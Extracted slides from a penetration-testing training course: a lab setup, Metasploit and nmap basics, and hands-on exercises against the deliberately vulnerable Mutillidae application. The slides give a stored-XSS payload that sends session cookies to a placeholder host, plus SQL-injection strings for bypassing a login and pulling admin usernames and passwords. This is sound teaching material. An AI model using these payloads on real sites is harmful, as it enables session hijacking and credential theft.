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Introduction

• Lab environnment

Win 12 PIC
(.8)

Kali
(.6)

Msploitable
(.7)

Router
(.1)

XP
(.??)

Win 12
(.5)

??
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Introduction

Connect to VPN

1

2
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Introduction

Connect to WIN12 (it’s will be your workstation)

1
2

172.16.XX.5
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Introduction

Install PUTTY and OWASP ZAP on WIN12
1

2
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Introduction

Don’t forget to clean your Proxy settings on WIN12

IE Firefox
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Introduction

Check connection to Metasploitable machine from WIN12

172.16.XX.7
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Introduction

• Lab environnment

Connect using putty to KALI2 from WIN12
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Metasploit basics

Console Interface, for anyone
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Metasploit basics

Web Interface, for the PROs + Vpn Pivoting
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Metasploit basics

• Why

• Log all relevant events

• Ease of pentest (Port / Host view)

• Workspace view

Metasploit & Database
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Metasploit basics

• Use a postgreSQL Database

• Start the db

• Autoconfigure metasploit

Metasploit & Database
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Metasploit basics

• Create workspace

Metasploit home
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Metasploit basics

• Use the traditionnal NMAP

• Db_nmap add any findings in metasploit workspace database

Reconnaissance
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Metasploit basics

• Nmap targetx targety ( Where target is an IP, CIDR range or hostname)

• « -v » Verbose to have an overview of job run (for ranges)

• «-p» to define port to use, «--top-ports x» to use top x used ports

• As defined in nmap-services 

• «-o»  or «-A» enable os detection or all detection

Nmap/db_nmap basic usage
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Metasploit basics

• Nmap targetx targety ( Where target is an IP, CIDR range or hostname)

• « -v » Verbose to have an overview of job run

• «-p» to define port to use, «--top-ports x» to use top x used ports

• As defined in nmap-services 

• «-o»  or «-A» enable os detection or all detection

Nmap/db_nmap basic usage
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Metasploit basics

Nmap/db_nmap basic usage

Scan type : 

-sS SYN scan, nmap generated

-sT TCP basic scanning through OS (no root rights required)

-sU UDP scanning

Speed:

-T 0 – 5    WARNING always think about impact on the infrastructure !

Dead Host / Host Discovery

-Pn no ping for host outside local range (arp on local lan)
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Metasploit basics

Hand on lab

Setup msf & postgres

In a new workspace

Inventory your student LAN

List all VM with HTTP open

List all VM with SMB open

Determine OS version
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Should not contains

• Direct exploitation could happen

• Direct is rare in real life, but existant

• Good introduction to metasploit « exploits »

• Browser exploitation is a reality

Direct exploitation
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Metasploit basics

Solution

• Nmap quickly the range with Services and OS identification

• Services known the hosts with interesting ports
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Metasploit basics

Solution

• Deeper scan with reconnaissance, only interesting sub-subnet
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Metasploit basics

Solution

• You may apply search on host selecting Linux OS
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Metasploit basics

Direct exploitation
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Metasploit basics

Hand on lab

Exploit a operating system

Pass the hash for lateral movement
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Direct exploitation

Direct exploitation
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Direct exploitation

Direct exploitation
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Metasploit basics

Direct exploitation
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Metasploit basics

Direct exploitation
• Configuration of exploit is needed

• set/unset : set a variable (case sensitive)

• show : view conf info etc…
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Metasploit basics

Direct exploitation
• Configuration of exploit needed

• check : Validate missing

WARNING, MS08-067 need a target, if wrong ;
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Direct exploitation

• Determine os version

Direct exploitation
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Direct exploitation

Direct exploitation



INTRODUCTION SCOPE & METHODOLOGY FINDINGS EXPLOITATION SCENARIO RECOMMENDATIONS QUESTIONS & ANSWERS

Direct exploitation

• Config ms08_067, then fire

Direct exploitation
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Process and migration
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Many ways to dump creds
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Dumping creds with database
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DB store any creds
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Interacting with sessions
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Pass the Hash
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Web applications in practice

A very bad website
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XSS Practice

• Javascript executed client side

• May be used for

• Popup « XSS »  

• Csrf

• Token stealh

• Fake Auth

• …

XSS
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XSS Practice

Web « tools »

Browser
(FireFox)

Attack
Proxy
(Zap)

Website
.7
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XSS Practice

Web « tools »
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XSS Practice

Web « tools »

Tools is just a tool, choose the one you prefer

• https://addons.mozilla.org/en-US/firefox/addon/hackbar/
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XSS Practice

Web « tools »

Tools is just a tool, choose the one you prefer

• Even simply the developper tools
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XSS Practice

Web « tools », Client configuration for ZAP
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XSS Practice

Clean Up of Mutillidae
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XSS Practice 1

A bad website, Popup it

• http://yourmsf2/mutillidae/index.php?page=set-background-color.php

• Popup the scariing word « XSS ».

mutillidae - Owasp Top 10 - A2 (XSS) - Reflected (First Order) - Set Background Color
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XSS Practice 1

A bad website, Popup it

• http://yourmsf2/mutillidae/index.php?page=set-background-color.php

• Popup the scariing word « XSS ».

mutillidae - Owasp Top 10 - A2 (XSS) - Reflected (First Order) - Set Background Color

TEST123"'><
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XSS Practice 2

A bad website, Pown it

• http://yourmsf2/mutillidae/index.php?page=add-to-your-blog.php

• Retrieve the session cookie PHPSESSIONID.

mutillidae - Owasp Top 10 - A2 (XSS) – Persistent (Second Order) – add to your blog

Website
(XSS) Store XSS

Consult
Website and 
execute code

Send Cookie
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XSS Practice 2

A bad website, Pown it
• One solution

<script>

new Image().src="http://XXXXXX/flag:"+encodeURI(document.cookie);

</script>

Website
(XSS) Store XSS

Consult
Website and 
execute code

Send Cookie
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SQLi in practice

• http://yourmsf2/mutillidae/index.php?page=login.php

• mutillidae - Owasp Top 10 – A1 Injection - SQLi Bypass Authentication - Login

• The idea is to « Shorten » the request

• Help yourself with a dummy mysql console

SELECT id FROM accounts WHERE username='admin' AND password='mypass‘;

Bypass authentication
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SQLi in practice

• One Solution 

SELECT id FROM accounts WHERE username='admin' AND password='mypass‘;

SELECT id FROM accounts WHERE username=‘admin' -- ' AND password=‘’‘;

Bypass authentication
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SQLi in practice 2

• http://yourmfs2/mutillidae/index.php?page=user-info.php

• mutillidae - Owasp Top 10 – A1 Injection - SQLi extract data – User info

• Find the sqli..   And extract ONLY the admins

Help : 

• http://pentestmonkey.net/category/cheat-sheet/sql-injection

Extract … and more
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SQLi in practice 2

• http://yourmfs2/mutillidae/index.php?page=user-info.php

• Find the len of query for the union

Extract … and more

Item A Item B Item C

Item D Item E Item F

Record 1
Standard Results

Record 2
Union … our Results

http://yourmfs2/mutillidae/index.php?page=user-info.php
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SQLi in practice 2

• http://yourmfs2/mutillidae/index.php?page=user-info.php

• Find the len with union

• &username=' union+select+true+--

• &username=' union+select+true,true+--

• &username=' union+select+true,true,true+--

• ….

• &username=' union+select+true,true,true,true, true+--

Extract … and more

http://yourmfs2/mutillidae/index.php?page=user-info.php
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SQLi in practice 2

• http://yourmfs2/mutillidae/index.php?page=user-info.php

• Now exploit it

• How to find table name… Depend of the SQL Database !

Extract … and more

http://yourmfs2/mutillidae/index.php?page=user-info.php
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SQLi in practice 2

• http://yourmfs2/mutillidae/index.php?page=user-info.php

• Find SQL database type :

SELECT @@version – Mysql

SELECT versionnumber, version_timestamp from sysibm.sysversions; - DB2

SELECT version() – PostGres

SELECT version FROM v$instance; - ORACLE

Extract … and more

http://yourmfs2/mutillidae/index.php?page=user-info.php
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SQLi in practice 2

• http://yourmfs2/mutillidae/index.php?page=user-info.php

• Now exploit it

• How to find table name and column on mysql…

• &username=' union+select+true,"yes",table_name , true , true from 
information_schema.tables+--

• &username=' union+select+true,"yes", column_name , true , true  FROM 
information_schema.columns WHERE table_name='accounts' +--

Extract … and more

http://yourmfs2/mutillidae/index.php?page=user-info.php
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SQLi in practice 2

Extract … and more
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SQLi in practice 2

• http://yourmfs2/mutillidae/index.php?page=user-info.php

• &username=' union+select+true,username, password, is_admin , 
true  from accounts where is_admin = "TRUE"+--+

Extract … and more

http://yourmfs2/mutillidae/index.php?page=user-info.php
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Questions / Farewell ? 


